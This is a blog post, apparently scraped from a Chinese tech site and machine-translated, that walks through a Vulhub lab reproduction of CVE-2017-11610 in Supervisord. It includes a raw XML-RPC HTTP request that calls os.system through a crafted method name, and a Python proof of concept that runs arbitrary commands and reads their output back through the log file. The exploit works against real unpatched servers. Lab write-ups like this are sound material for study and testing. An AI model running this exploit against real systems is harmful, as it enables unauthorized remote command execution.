当前位置:网站首页>Vulhub vulnerability recurrence 67_ Supervisor
Vulhub vulnerability recurrence 67_ Supervisor
2022-07-06 05:16:00 【Revenge_ scan】
CVE-2017-11610_ Supervisord Remote command execution vulnerability
Preface
Supervisor(http://supervisord.org/) Yes, it is Python One developed client/server service , yes Linux/Unix A process management tool under the system , I won't support it Windows System . It's easy to monitor 、 start-up 、 stop it 、 Restart one or more processes .
Reference link :
- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
- https://blogs.securiteam.com/index.php/archives/3348
-https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
Vulnerability environment
shooting range :192.168.4.10_ubuntu
#docker-compose build
docker-compose up -d
After the environment starts , visit `http://your-ip:9001` You can view it Supervisord The page of .

Vulnerability testing
Execute arbitrary commands directly :
```
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
```

Container view success Create success

## About direct echo POC
@Ricter An idea put forward on Weibo , Very effective , Is to write the result of the command execution to log In file , Call again Supervisord Self contained readLog Method reading log file , Read the results .
Write a simple POC: [poc.py](poc.py), Post it directly :
```python
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
```
Use Python3 Execute and get the results :`./poc.py "http://your-ip:9001/RPC2" "command"`:

边栏推荐
- Implementing fuzzy query with dataframe
- 趋势前沿 | 达摩院语音 AI 最新技术大全
- Using stopwatch to count code time
- [leetcode16] the sum of the nearest three numbers (double pointer)
- Postman assertion
- Promotion hung up! The leader said it wasn't my poor skills
- pix2pix:使用条件对抗网络的图像到图像转换
- Basic knowledge and examples of binary tree
- The underlying structure of five data types in redis
- Nacos TC setup of highly available Seata (02)
猜你喜欢

剑指 Offer II 039. 直方图最大矩形面积

【OSPF 和 ISIS 在多路访问网络中对掩码的要求】

What are the advantages of the industry private network over the public network? What specific requirements can be met?

GAMES202-WebGL中shader的編譯和連接(了解向)

Lepton 无损压缩原理及性能分析

In 2022, we must enter the big factory as soon as possible

GAMES202-WebGL中shader的编译和连接(了解向)

Codeforces Round #804 (Div. 2)
![[effective Objective-C] - memory management](/img/1e/611aa998486bbac76ac103c3091794.jpg)
[effective Objective-C] - memory management

Codeforces Round #804 (Div. 2)
随机推荐
Yolov5 tensorrt acceleration
On the solution of es8316's audio burst
[classic example] binary tree recursive structure classic topic collection @ binary tree
Driver development - hellowdm driver
Biscuits (examination version)
Crazy God said redis notes
Fiddler installed the certificate, or prompted that the certificate is invalid
Class inheritance in yyds dry inventory C
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
yolov5 tensorrt加速
Hometown 20 years later (primary school exercises)
图数据库ONgDB Release v-1.0.3
饼干(考试版)
Three methods of Oracle two table Association update
Sorting out the knowledge points of multicast and broadcasting
Can the feelings of Xi'an version of "Coca Cola" and Bingfeng beverage rush for IPO continue?
Implementing fuzzy query with dataframe
Summary of redis AOF and RDB knowledge points
Nestjs配置文件上传, 配置中间件以及管道的使用
Postman manage test cases